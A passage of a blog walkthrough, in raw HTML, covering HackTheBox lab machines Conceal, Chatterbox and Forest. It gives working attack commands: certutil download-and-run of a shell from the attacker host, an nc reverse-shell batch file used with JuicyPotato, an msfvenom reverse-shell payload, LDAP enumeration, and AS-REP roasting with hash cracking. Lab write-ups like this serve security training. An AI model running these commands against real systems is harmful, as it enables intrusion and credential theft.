href="https://ericfu.me/debian-strongswan-ikev2-vpn/#strongswan-%E9%85%8D%E7%BD%AE" target="_blank" rel="noopener"&#10; &gt;https://ericfu.me/debian-strongswan-ikev2-vpn/#strongswan-%E9%85%8D%E7%BD%AE&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wiki.strongswan.org/projects/strongswan/wiki/connsection" target="_blank" rel="noopener"&#10; &gt;https://wiki.strongswan.org/projects/strongswan/wiki/connsection&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wiki.strongswan.org/issues/2666" target="_blank" rel="noopener"&#10; &gt;https://wiki.strongswan.org/issues/2666&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.imkasen.com/strongswan-config/" target="_blank" rel="noopener"&#10; &gt;https://blog.imkasen.com/strongswan-config/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I was finally in and could scan TCP. I had found a few ports earlier, but it was worth scanning again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0057.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The results came back, but the scan had to be TCP because we had only connected over TCP.&lt;/p&gt;&#10;&lt;p&gt;There was nothing available through anonymous ftp.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0058.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 80 revealed an upload directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0059.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t connect to the smb service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0060.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were matching upload directories on ftp and http. Obviously, ftp was serving the http directory, though I still needed to verify it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0061.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, after I uploaded 1.txt over ftp, it appeared under upload. Now I needed to find out what the backend used. It was usually asp or aspx, if I remembered correctly, so I tried them one by one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0062.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;aspx failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0063.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;asp failed too.&lt;/p&gt;&#10;&lt;p&gt;Switching to a different asp shell worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/tennc/webshell/blob/master/asp/webshell.asp" target="_blank" rel="noopener"&#10; &gt;https://github.com/tennc/webshell/blob/master/asp/webshell.asp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0064.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was strange that the asp backdoor from msfvenom failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0065.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Generate the backdoor.&lt;/p&gt;&#10;&lt;p&gt;Put the command together:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;certutil -urlcache -split -f &lt;a class="link" href="http://10.10.16.3:33333/Conceal/shell.exe" target="_blank" rel="noopener"&#10; &gt;http://10.10.16.3:33333/Conceal/shell.exe&lt;/a&gt; \Users\Destitute\1.exe &amp;amp;&amp;amp; start \Users\Destitute\1.exe&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0066.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The reverse connection succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0067.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a shell.&lt;/p&gt;&#10;&lt;p&gt;Time to escalate privileges. Unfortunately, I didn&amp;rsquo;t know Windows privilege escalation particularly well at the time. I had only learned the systeminfo approach.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0068.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried everything I could.&lt;/p&gt;&#10;&lt;p&gt;After trying quite a few privilege-escalation methods, Rotten Potato seemed like a good fit for this box.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;whoami /priv&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;This is one of the standard privilege-escalation approaches. I couldn&amp;rsquo;t learn only by working through boxes; I still needed to spend more time studying Windows privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0069.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was pretty straightforward to use.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0070.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it kept failing and I couldn&amp;rsquo;t get it to work. Time to switch to JuicyPotato.&lt;/p&gt;&#10;&lt;p&gt;Project: &lt;a class="link" href="https://github.com/ohpe/juicy-potato/releases/tag/v0.1" target="_blank" rel="noopener"&#10; &gt;https://github.com/ohpe/juicy-potato/releases/tag/v0.1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;nc: &lt;a class="link" href="https://eternallybored.org/misc/netcat/" target="_blank" rel="noopener"&#10; &gt;https://eternallybored.org/misc/netcat/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Upload everything to the target machine.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/jp.exe \Users\Destitute\jp.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/nc64.exe \Users\Destitute\nc64.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Next, prepare the other files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a reverse-shell batch file; replace nc64 with its absolute path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.3 5555 &amp;gt; shell.bat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/ohpe/juicy-potato/tree/master/CLSID Find the matching CLSID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_10_Enterprise/CLSID.list I used the last entry&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For -l, use any unused port&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\jp.exe -t t -p .\shell.bat -l 1118 -c &amp;#34;{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -lvnp 5555&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0071.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;I learned a lot from this box. The hardest part, in my opinion, was configuring ipsec. It took ages and was a real pain.&lt;/p&gt;&#10;&lt;p&gt;The other big lesson was Rotten Potato. I hadn&amp;rsquo;t had much exposure to standard Windows privilege escalation, but now this technique was burned into my memory.&lt;/p&gt;&#10;&lt;h2 id="6chatterbox"&gt;&lt;a href="#6chatterbox" class="header-anchor"&gt;&lt;/a&gt;6.Chatterbox&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0072.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0073.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0074.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0075.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The usual smb connection didn&amp;rsquo;t work, but nmap reported information about two services on ports 9255 and 9256.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0076.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I Googled them to find out what these services were.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0077.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, I found an exploit for them.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, the exploit on Kali just wouldn&amp;rsquo;t work no matter how many times I tried it. Maybe there was something wrong with how it generated the payload.&lt;/p&gt;&#10;&lt;p&gt;Luckily, I found a project on GitHub:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/mpgn/AChat-Reverse-TCP-Exploit" target="_blank" rel="noopener"&#10; &gt;https://github.com/mpgn/AChat-Reverse-TCP-Exploit&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This exploit had a bit of a problem too: it gave me an msf shell, so I still needed to modify it. The Kali exploit above actually showed how to generate the payload, but whenever I tried adding LHOST and LPORT, it either threw an error or failed. I just needed to tweak the payload from this GitHub project instead.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;msfvenom -a x86 &amp;ndash;platform Windows -p windows/shell_reverse_tcp RHOST=10.10.10.74 LHOST=10.10.16.3 LPORT=6666 exitfunc=thread -e x86/unicode_mixed -b &amp;lsquo;\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&amp;rsquo; BufferRegister=EAX -f python&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;That did the trick. I only had to replace buf in the exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0078.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;shell&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0079.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time to start privilege escalation. After running systeminfo, it looked like Rotten Potato might still be an option.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0080.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0081.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It wasn&amp;rsquo;t enabled.&lt;/p&gt;&#10;&lt;p&gt;However, we could still enter the administrator directory and find the root.txt file.&lt;/p&gt;&#10;&lt;p&gt;Trying to access it returned a permissions error, but dir /q showed that the file belonged to the current user. All we had to do was grant it read access.&lt;/p&gt;&#10;&lt;p&gt;This post was a useful reference: &lt;a class="link" href="https://blog.csdn.net/senge_com/article/details/134508668" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/senge_com/article/details/134508668&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;cacls root.txt /p everyone:f /e /t&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0082.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. I still hadn&amp;rsquo;t actually escalated to administrator, though.&lt;/p&gt;&#10;&lt;p&gt;Time to start reading writeups—all of them, really, since Windows privilege escalation is one of my weaker areas.&lt;/p&gt;&#10;&lt;p&gt;This seems to be the route everyone took. I still haven&amp;rsquo;t found a Windows enumeration script like linenum on Linux. Maybe everything has to be done manually?&lt;/p&gt;&#10;&lt;h2 id="7forest"&gt;&lt;a href="#7forest" class="header-anchor"&gt;&lt;/a&gt;7.Forest&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0083.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0084.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s go through them one by one.&lt;/p&gt;&#10;&lt;p&gt;domain dns&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0085.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No shares by default.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0086.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking more closely, I realized this was actually a domain controller.&lt;/p&gt;&#10;&lt;p&gt;======================================================&lt;/p&gt;&#10;&lt;p&gt;Skipping ahead five days.&lt;/p&gt;&#10;&lt;p&gt;======================================================&lt;/p&gt;&#10;&lt;p&gt;I spent five days cramming domain penetration testing. I learned and reproduced all the basic logic and common vulnerabilities, and documented them in another article.&lt;/p&gt;&#10;&lt;p&gt;A few days earlier, back when I didn&amp;rsquo;t know much about domains, I read a write-up that put it like this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0087.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This goes beyond the scope of the OSCP exam. If someone can complete this box without help, the Active Directory portion of OSCP should be no problem for them. The author also mentioned that this box is intended for practice, so I&amp;rsquo;ll work through it using my own ideas and consult a write-up whenever I get stuck.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Starting here: I&amp;rsquo;d already checked the domain controller&amp;rsquo;s DNS and SMB, but didn&amp;rsquo;t find much because my information gathering wasn&amp;rsquo;t thorough enough. Since I now knew the target was a domain controller, the first thing to get was its hostname. By default, that gives you the domain controller&amp;rsquo;s computer account name. Then there was the domain name. I hadn&amp;rsquo;t obtained either of those before.&lt;/p&gt;&#10;&lt;p&gt;Like this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0088.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Starting with LDAP.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;These are two enumeration methods; check the required parameters&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -n -sV --script &amp;#34;ldap* and not brute&amp;#34; -p 389 &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -h &amp;lt;ip&amp;gt; -s base&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -n -sV -sU --script &amp;#34;ldap* and not brute&amp;#34; -p 389 10.10.10.161&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0089.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0090.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://10.10.10.161:389 -s base&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0091.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0092.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-ldap" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-ldap&lt;/a&gt; mentioned a method for extracting information anonymously.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0093.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local &amp;#34;(objectClass=person)&amp;#34; &amp;#34;*&amp;#34; +&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/508014/active-directory-ldap-query-by-samaccountname-and-domain" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/508014/active-directory-ldap-query-by-samaccountname-and-domain&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That page mentioned some other parameters. After looking into it, I realized this was just a filter. The previous request returned a lot of information, so I needed a filter to narrow it down.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local &amp;#34;(objectCategory=person)&amp;#34; | grep sAMAccountName&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That filtered out the exact names.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0094.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are several other ways to find usernames.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0095.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0096.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A service account I hadn&amp;rsquo;t seen before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0097.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetNPUsers.py htb.local/svc-alfresco -format hashcat -outputfile foresthash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetNPUsers.py htb.local/ -usersfile user1.txt -format hashcat -outputfile foresthash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0098.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Got the TGT. Let&amp;rsquo;s try cracking the password first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0099.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 18200 1.txt 